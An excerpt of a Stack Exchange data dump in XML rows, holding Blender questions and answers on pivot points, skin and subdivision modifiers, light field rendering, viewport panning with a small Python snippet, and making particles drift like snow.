  <row Id="5037" PostTypeId="1" AcceptedAnswerId="5038" CreationDate="2013-11-21T19:15:41.887" Score="5" ViewCount="113" Body="&lt;p&gt;I am just learning Blender.&#xA;I am going through the &lt;a href=&quot;http://www.youtube.com/watch?v=ChPle-aiJuA&quot; rel=&quot;nofollow&quot;&gt;second part of the coffee mug tutorial on YouTube&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part was good. I was able to follow it. Coming from SketchUp, it is taking some adjustment. But I am getting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just starting the second video. At the beginning, the instructor selects the top of the mug to extrude it. When he presses the E key and Enter, the red, green blue axis moves to the center of those vertices. That does not happen when I press the E key and Enter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only 1:30 into the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the axis in the middle of this circle of vertices? &#xA;The next step is to scale. I need the reference point in the middle of this circle of vertices. I cannot left-click accurately enough to position the axis/reference point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using 2.69. The video uses 2.64.&lt;/p&gt;&#xA;" OwnerUserId="1657" LastEditorUserId="599" LastEditDate="2013-11-21T19:24:07.133" LastActivityDate="2017-01-05T22:12:28.283" Title="Help with Axis Placement when extruding" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5038" PostTypeId="2" ParentId="5037" CreationDate="2013-11-21T19:20:22.513" Score="3" Body="&lt;p&gt;Make sure the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Pivot point&lt;/em&gt;&lt;/a&gt; is set to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/Median_Point&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Median Point&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt;) or &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/Bounding_Box_Center&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Bounding box center&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;,&lt;/kbd&gt;) in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9FhjF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2017-01-05T22:12:28.283" LastActivityDate="2017-01-05T22:12:28.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5039" PostTypeId="2" ParentId="5034" CreationDate="2013-11-21T22:41:36.837" Score="2" Body="&lt;p&gt;It seems this addon is for rendering &lt;a href=&quot;http://en.wikipedia.org/wiki/Light_field&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Light fields&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Light_Field_Tools&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Description&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;This script helps setting up rendering of lightfields. It also&#xA;  supports the projection of lightfields with textured spotlights.&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;Usage&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;A simple interface can be accessed in the tool shelf panel in 3D View&#xA;  (T key).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A base mesh has to be provided, which will normaly be a subdivided&#xA;  plane. The script will then create a camera rig and a light rig with&#xA;  adjustable properties. A sample camera and a spotlight will be created&#xA;  on each vertex of the basemesh object axis (maybe vertex normal in&#xA;  future versions).&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;Vertex order&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The user has to provide the number of cameras or lights in one row in&#xA;  an unevenly spaced grid, the basemesh. Then the right vertex order can&#xA;  be computed as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  6-7-8&#xA;  | | |&#xA;^ 3-4-5&#xA;| | | |&#xA;y 0-1-2&#xA;  x-&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;There is also a tool to create a basemesh, which is an evenly spaced&#xA;  grid. The row length parameter is taken to construct such a NxN grid.&#xA;  Someone would start out by adding a rectengular plane as the slice&#xA;  plane of the frustrum of the most middle camera of the light field&#xA;  rig. The spacing parameter then places the other cameras in a way, so&#xA;  they have an offset of n pixels from the other camera on this plane.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;What are light fields?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://graphics.stanford.edu/projects/lightfield/&quot; rel=&quot;nofollow&quot;&gt;Light fields were originally invented&lt;/a&gt; to allow advanced tweaking of a rendered image that would normally only be possible with defined geometry (i.e. a 3D model):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Light fields were introduced into computer graphics in 1996 by Marc Levoy and Pat Hanrahan. Their proposed application was image-based-rendering - computing new views of a scene from pre-existing views without the need for scene geometry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This even &lt;a href=&quot;http://lightfield-forum.com/what-is-the-lightfield/&quot; rel=&quot;nofollow&quot;&gt;works for photographs taken with a special camera&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LightField cameras (also called plenoptic cameras) have a microlense&#xA;  array just in front of the imaging sensor. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Such arrays consist of many&#xA;  microscopic lenses (often in the range of 100,000) with tiny focal&#xA;  lengths (as low as 0.15 mm), and split up what would have become a&#xA;  2D-pixel into individual light rays just before reaching the sensor.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The resulting raw image is a composition of as many tiny images as&#xA;  there are microlenses. Here’s the fascinating part: every sub-image&#xA;  differs a little bit from its neighbours, because the lightrays were&#xA;  diverted slightly differently depending on the corresponding&#xA;  microlense’s position in the array. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Next, sophisticated software is&#xA;  used to find matching lightrays across all these images. Once it has&#xA;  collected a list of &#xA;  (1) matching lightrays, &#xA;  (2) their position in the&#xA;  microlense array and (3) within the sub-image, the information can be&#xA;  used to reconstruct a sharp 3D model of the scene. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using this model,&#xA;  you have all of the LightField capabilities at your fingertips: you&#xA;  can define what parts of the image should be in focus or out of focus,&#xA;  define the depth of field, you can set everything in focus, you can&#xA;  shift the perspective or parallax a bit, … You can even use the&#xA;  parallax data to create 3D pictures from a single LightField lense and&#xA;  capture. All of this can be done after you’ve recorded the image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-21T22:54:50.747" LastActivityDate="2013-11-21T22:54:50.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5040" PostTypeId="1" CreationDate="2013-11-22T01:09:50.003" Score="6" ViewCount="2496" Body="&lt;p&gt;If I have a sequence of .obj (or any other readable format) files created from my own simulation code (say cloth simulation), can I use the rendering capabilities of blender to generate a video? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the material properties for frame &lt;code&gt;1&lt;/code&gt; and use the same or rest of the frames while the corresponding meshes are imported afresh from that ones I provide?&lt;/p&gt;&#xA;" OwnerUserId="1660" LastEditorUserId="599" LastEditDate="2013-11-22T02:00:40.913" LastActivityDate="2016-11-02T14:29:53.600" Title="Can one create a video from sequence of meshes that you already have using blender?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;import&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5041" PostTypeId="2" ParentId="5040" CreationDate="2013-11-22T01:57:06.787" Score="3" Body="&lt;p&gt;If you can get your sequence into a &lt;code&gt;.MDD&lt;/code&gt; or &lt;code&gt;.PC2&lt;/code&gt; format, you can try using the &lt;a href=&quot;http://www.youtube.com/watch?v=9R39TVqq-Ss&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Mesh Cache&lt;/em&gt;&lt;/a&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you can try &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?252844-Script-Meshfoot-OBJ-Sequence-Manager-%28revised-for-Blender-2-66%29&quot; rel=&quot;nofollow&quot;&gt;this addon&lt;/a&gt; which handles &lt;code&gt;.obj&lt;/code&gt; sequences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option is to write your own python script to toggle the visibility of each mesh so it is visible for only one frame. You can do this with a script that sets the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Object.html#bpy.types.Object.hide_render&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;object.hide_render&lt;/code&gt;&lt;/a&gt; property accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy materials to from the active to the selected objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Materials&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-22T02:03:39.413" LastActivityDate="2013-11-22T02:03:39.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5042" PostTypeId="1" CreationDate="2013-11-22T02:04:39.957" Score="3" ViewCount="2149" Body="&lt;p&gt;I'm following a tutorial and not getting the result I'm supposed to after applying the skin modifier.&#xA;Before applying the skin and mirror modifier: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/6x57X2d.png?1&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/zwR4WiS.png?1&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i get these bounding boxes around the mesh and cant select faces like i want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/HvvjKhJ.png?1&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what its supposed to look like according to the tutorial (You can select the smaller faces and there are no bounding boxes around the mesh)&#xA;I just started learning blender. If you want any details, do ask.&#xA;(I did read the docs on skin modifiers and also tried google.)&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1661" LastEditorUserId="599" LastEditDate="2013-11-22T02:41:51.353" LastActivityDate="2019-02-21T13:15:34.793" Title="Blender skin modifier error?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5043" PostTypeId="2" ParentId="5042" CreationDate="2013-11-22T02:06:26.007" Score="1" Body="&lt;p&gt;There was nothing wrong with the application of the &lt;em&gt;Skin&lt;/em&gt; modifier, to get the result you want you need to apply the &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Subdivision surface&lt;/em&gt;&lt;/a&gt; modifier too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pWhih.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Subdivision Surface&lt;/em&gt; (&lt;em&gt;Subserf&lt;/em&gt;) is a &lt;em&gt;Modifier&lt;/em&gt;, meaning that it operates on your base mesh without actually affecting it. From the &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Modifiers are automatic operations that affect an object in a non-destructive way. With modifiers, you can perform many effects automatically that would otherwise be tedious to do manually (such as subdivision surfaces) and without affecting the base topology of your object. Modifiers work by changing how an object is displayed and rendered, but not the actual object geometry. You can add several modifiers to a single object to form a Modifier Stack and you can Apply a modifier if you wish to make its changes permanent. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Those &quot;Bounding boxes&quot; is your base mesh without any effects of the modifiers. &#xA;This can be demonstrated by either removing the subserf modifier or disabling it in the &lt;em&gt;3D view&lt;/em&gt; by toggling the eye icon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lIK23.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can shrink the base mesh to the subserfed result with the &lt;em&gt;Edit cage&lt;/em&gt; button for a better view of the topology while editing. See the &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf#Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Edit Cage Mode&lt;/em&gt;&lt;br&gt;&#xA;   To view and edit the results of the subdivision (“isolines”) while you’re editing the mesh, you must enable the Editing Cage mode by&#xA;  clicking in the inverted triangle button in the modifier panel header&#xA;  (next to the arrows for moving the modifier up and down the stack).&#xA;  This lets you grab the points as they lie in their new subdivided&#xA;  locations, rather than on the original mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VdzQg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VdzQg.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;  &lt;sub&gt;(source: &lt;a href=&quot;https://wiki.blender.org/uploads/thumb/7/79/SubsurfEditCageOff.png/250px-SubsurfEditCageOff.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;)&lt;/sub&gt;   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ez9nU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ez9nU.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;  &lt;sub&gt;(source: &lt;a href=&quot;https://wiki.blender.org/uploads/thumb/d/d7/SubsurfEditCageOn.png/250px-SubsurfEditCageOn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;)&lt;/sub&gt;&lt;br&gt;&#xA;  Notice the comparison of screenshots to the right. With the edit cage off, some vertices are buried under the subsurfed mesh. With&#xA;  dense vertex configurations, you might have to even click the &quot;Eye&quot;&#xA;  icon so that you can see these vertices. The &quot;edit cage on&quot; version&#xA;  does not suffer from this problem. It does, however, have its own&#xA;  disadvantage---it can look too nice. Notice the three quads running in&#xA;  the middle of Suzanne's ear. You can only tell how crooked they are in&#xA;  the &quot;edit cage off&quot; version. When you are modeling, you will more&#xA;  often want to see your mesh deformities in their full ugliness---so&#xA;  you can apply your skills until it is sheer prettiness.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="32220" LastEditDate="2019-02-21T13:15:34.793" LastActivityDate="2019-02-21T13:15:34.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5044" PostTypeId="2" ParentId="5017" CreationDate="2013-11-22T07:55:50.713" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/5018/9&quot;&gt;gandalf3's answer&lt;/a&gt; is great, however when you already have a sequence of images rendered out the setup is very simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fo2LB.png&quot; alt=&quot;Node Overview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iyfo.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red &lt;em&gt;Value&lt;/em&gt; node is where you enter the number of images you're stacking. The end result will be the average of all the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quickly create those &lt;em&gt;Add&lt;/em&gt; nodes, I recommend the &lt;strong&gt;Node Efficiency Tools&lt;/strong&gt; addon (which can be enabled in the User Preferences) - just select the images and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Plus(+)&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-11-22T07:55:50.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5045" PostTypeId="1" AcceptedAnswerId="5062" CreationDate="2013-11-22T08:11:18.623" Score="4" ViewCount="215" Body="&lt;p&gt;Why do some nodes have values without input sockets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. The glare node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0VmSh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This may not be the most useful example, but there are instances where a plug might be useful, e.g. the dimensions of a blur node.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be easily worked around with a driver, proving that there is no technical limitation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rp2C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason for certain values not having a node input?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-23T10:27:30.633" Title="Why do some values on nodes lack an input socket?" Tags="&lt;interface&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5046" PostTypeId="2" ParentId="5045" CreationDate="2013-11-22T10:50:34.983" Score="1" Body="&lt;p&gt;The developers probably didn't think it was necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should report it as a feature request (&lt;a href=&quot;http://lists.blender.org/mailman/listinfo/bf-funboard&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/mailman/listinfo/bf-funboard&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Describe what use cases warrant the interface change.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-11-22T14:30:38.270" LastActivityDate="2013-11-22T14:30:38.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5047" PostTypeId="2" ParentId="5035" CreationDate="2013-11-22T11:57:05.480" Score="3" Body="&lt;p&gt;You can use &lt;code&gt;bpy.ops.view3d.view_pan()&lt;/code&gt; to do the same as &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Numpad #&lt;/kbd&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        override = {'area': area, 'region': area.regions[-1]}&#xA;        bpy.ops.view3d.view_pan(override, type='PANRIGHT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The amount of the panning can't be controlled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you manipulate the &lt;code&gt;view_matrix&lt;/code&gt; (or &lt;code&gt;view_location&lt;/code&gt; etc.) directly, there's a lot more control. But you will have to calculate the proper matrices and vectors, and if something went wrong, you may end up with strange view or navigation reaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r3d = C.screen.areas[2].spaces[0].region_3d # region_3d of 3D View&#xA;r3d.view_matrix.col[3][1:4] # translation part of the view matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at the FPS Fly addon to see what can be done and how:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.ewocprojects.be/fpsfly.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ewocprojects.be/fpsfly.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK viewport navigation is a bit weird after use, as the addon might manipulate the wrong property to fly around. The &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aDfelinto/Ideas#FPS_Navigation&quot; rel=&quot;nofollow&quot;&gt;C-implementation&lt;/a&gt; will be different.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-11-22T11:57:05.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5048" PostTypeId="2" ParentId="5045" CreationDate="2013-11-22T12:25:40.113" Score="2" Body="&lt;p&gt;Currently, I bet all of them are specific types for some &lt;strong&gt;Filter&lt;/strong&gt; and &lt;strong&gt;Matte&lt;/strong&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the possible reasons for that would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They are no more than numerical values, which indeed needn't any further tweaking by additional Value input.&lt;/li&gt;&#xA;&lt;li&gt;To avoid wrong or inproper value input that cannot be handled at all, since these values are considered more as parameters rather than factors.&lt;/li&gt;&#xA;&lt;li&gt;To limit parameter value to a certain interval, where minimum / maximum value required, which can hardly be determined by additional Value input.&lt;/li&gt;&#xA;&lt;li&gt;Even though such demand exists (not quite often though), as you mentioned, drivers can do that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-22T15:25:48.007" LastActivityDate="2013-11-22T15:25:48.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5049" PostTypeId="1" CreationDate="2013-11-22T18:44:50.307" Score="9" ViewCount="8063" Body="&lt;p&gt;I'm trying to make a blender animation for Christmas, so I am kind of pressed for time. It is snowing in the scene, so I have watched tutorials on the particles.&#xA;I tried it, but it looked too much like rain when I plated the animation. Snow is supposed to lightly drift to the ground, and when I use the particles it looks more like rain and it fell way too fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get a  snowy effect without the rain effect?&lt;/p&gt;&#xA;" OwnerUserId="1664" LastEditorUserId="599" LastEditDate="2013-11-22T20:29:55.857" LastActivityDate="2017-12-14T05:57:38.893" Title="How to make particles fall like snow" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5050" PostTypeId="1" CreationDate="2013-11-22T18:53:35.487" Score="1" ViewCount="384" Body="&lt;p&gt;This relates to my &lt;a href=&quot;https://blender.stackexchange.com/questions/5049/how-do-i-make-a-realistic-snow-scene-in-blender&quot;&gt;previous question&lt;/a&gt;, but does not correspond. When I render the image  all I get is the objects I put in, but my particles do not show up. The lighting is okay, my snowman showed up along with the trees, but the particles do not. Is it because I paused the animation and rendered that image I paused it on.&lt;/p&gt;&#xA;" OwnerUserId="1664" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-11-22T21:20:58.867" Title="Why won't my particles show up in my rendered image" Tags="&lt;rendering&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-11-23T15:24:20.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="5051" PostTypeId="2" ParentId="5049" CreationDate="2013-11-22T20:35:41.790" Score="14" Body="&lt;p&gt;There are several things you could try, here are a few:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Try increasing the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Newtonian#Forces&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Drag&lt;/em&gt; force&lt;/a&gt; in &lt;em&gt;Particle Settings &amp;gt; Physics &amp;gt; Forces&lt;/em&gt; to make particles affected by air resistance:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0tdN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Decrease the influence of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics#Gravity&quot; rel=&quot;noreferrer&quot;&gt;scene &lt;em&gt;Gravity&lt;/em&gt;&lt;/a&gt; in &lt;em&gt;Particle settings &amp;gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics#Field_Weights&quot; rel=&quot;noreferrer&quot;&gt;Field Weights&lt;/a&gt;&lt;/em&gt; to make particles fall more slowly:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/39klR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Force_Fields#Turbulence&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Turbulence&lt;/em&gt; force field&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Force Field &amp;gt; Turbulence&lt;/em&gt;) to make particles drift in random directions, simulating eddies and air currents:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5AIlV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ifMW8.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ifMW8.gif&quot; alt=&quot;Animated gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-12-14T05:57:38.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5053" PostTypeId="1" AcceptedAnswerId="5071" CreationDate="2013-11-22T21:44:37.893" Score="3" ViewCount="2413" Body="&lt;p&gt;I've added lots of circles around a mesh in an effort to retopologize it with &lt;code&gt;BSurfaces&lt;/code&gt; later. But I never get so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've applied shrinkwrap on them all with the object as the target, and linked the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rs2bu.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I want to join the objects into one object. This creates problems because it now has only one origin and shrinkwraps all circles towards the new origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/APDcn.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I thought, to fix this I should apply the modifier to the objects first, so that they retain their shape when they are joined. But if I try to apply the modifier, this happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJ2D0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what's going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why does it get this shape when I apply the modifier, and how can I fix it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a side-question: How could I apply the modifier to all of the selected rings, instead of one by one?&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="1574" LastEditDate="2013-11-22T21:46:23.170" LastActivityDate="2013-11-23T23:00:31.320" Title="Applying shrinkwrap modifier corrupts the shape" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
